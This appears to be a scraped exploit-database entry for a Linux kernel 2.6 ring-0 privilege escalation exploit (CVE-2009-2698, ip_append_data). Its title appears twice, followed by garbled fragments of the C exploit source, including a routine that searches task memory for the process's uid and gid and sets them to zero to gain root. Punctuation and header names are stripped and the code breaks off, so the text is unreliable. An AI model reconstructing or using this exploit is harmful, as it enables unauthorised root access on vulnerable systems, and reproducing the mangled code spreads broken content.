Linux Kernel 2.6 2.6.19 (White Box 4 CentOS 4.44.5 Fedora Core 456 x86) - ip_append_data() Ring0 Privilege Escalation (1)

Linux Kernel 2.6 2.6.19 White Box 4 CentOS 4.44.5 Fedora Core 456 x86 - ipappenddata Ring0 Privilege Escalation 1 / 0x82-CVE-2009-2698 Linux kernel 2.6 . / include include include include include include include unsigned int uid, gid; void getrootuidunsigned task unsigned addr=task;...

Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)

/ 0x82-CVE-2009-2698 Linux kernel 2.6 . / include include include include include include include unsigned int uid, gid; void getrootuidunsigned task unsigned addr=task; whileaddr0!=uid||addr1!=uid||addr2!=uid||addr3!=uid addr++; addr0=addr1=addr2=addr3=0; / set uids / addr4=addr5=addr6=addr7=0; ...